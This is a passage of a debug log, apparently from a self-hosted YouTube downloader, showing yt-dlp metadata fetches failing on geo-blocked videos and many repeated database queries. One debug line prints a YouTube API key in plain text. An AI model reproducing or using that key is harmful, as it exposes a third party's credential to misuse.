Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:13.324 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:13.324 [debug] QUERY OK source="settings" db=0.1ms idle=321.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:13.324 [debug] QUERY OK source="settings" db=0.1ms idle=322.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:13.324 [debug] Running yt-dlp command for action: get_media_attributes 17:07:13.326 [debug] QUERY OK source="settings" db=0.1ms idle=323.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:13.326 [debug] QUERY OK source="settings" db=0.0ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:13.326 [debug] QUERY OK source="settings" db=0.0ms idle=318.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:13.326 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9f/15/9f15114e85213492dd49d3e076ed10129cc7569b7f82188bda57b9a51c131506.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:14.518 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9f/15/9f15114e85213492dd49d3e076ed10129cc7569b7f82188bda57b9a51c131506.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:14.518 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:14.518 [debug] QUERY OK source="settings" db=0.1ms idle=1193.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.518 [debug] QUERY OK source="settings" db=0.0ms idle=1192.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.518 [debug] Running yt-dlp command for action: get_media_attributes 17:07:14.519 [debug] QUERY OK source="settings" db=0.0ms idle=1193.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.520 [debug] QUERY OK source="settings" db=0.0ms idle=1193.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.520 [debug] QUERY OK source="settings" db=0.0ms idle=953.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.520 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b5/a7/b5a7436192a53ac0c400cb8d0135d02b71ff0389d42de38afccdda3bec774841.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:14.573 [info] {"args":{"id":32},"id":3800102,"meta":{},"system_time":1770764834573611638,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:14.573 [debug] QUERY OK source="sources" db=0.1ms idle=53.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 17:07:14.574 [debug] QUERY OK source="settings" db=0.1ms idle=53.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.574 [debug] QUERY OK source="media_profiles" db=0.1ms idle=53.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:14.574 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.574 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 17:07:14.574 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.574 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:14.836 [debug] QUERY OK source="media_items" db=0.7ms idle=261.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 17:07:14.837 [debug] QUERY OK source="settings" db=0.0ms idle=263.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.837 [debug] QUERY OK source="settings" db=0.0ms idle=262.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.837 [debug] Running yt-dlp command for action: get_media_attributes 17:07:14.839 [debug] QUERY OK source="settings" db=0.0ms idle=264.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.839 [debug] QUERY OK source="settings" db=0.0ms idle=264.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.839 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:14.839 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/cf/2e/cf2ebc45e6b3617b63002cafda6bed1b8cb52098248c92c1d9ee6a42d0316a8e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:15.985 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b5/a7/b5a7436192a53ac0c400cb8d0135d02b71ff0389d42de38afccdda3bec774841.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:15.985 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:15.985 [debug] QUERY OK source="settings" db=0.1ms idle=416.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:15.985 [debug] QUERY OK source="settings" db=0.0ms idle=107.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 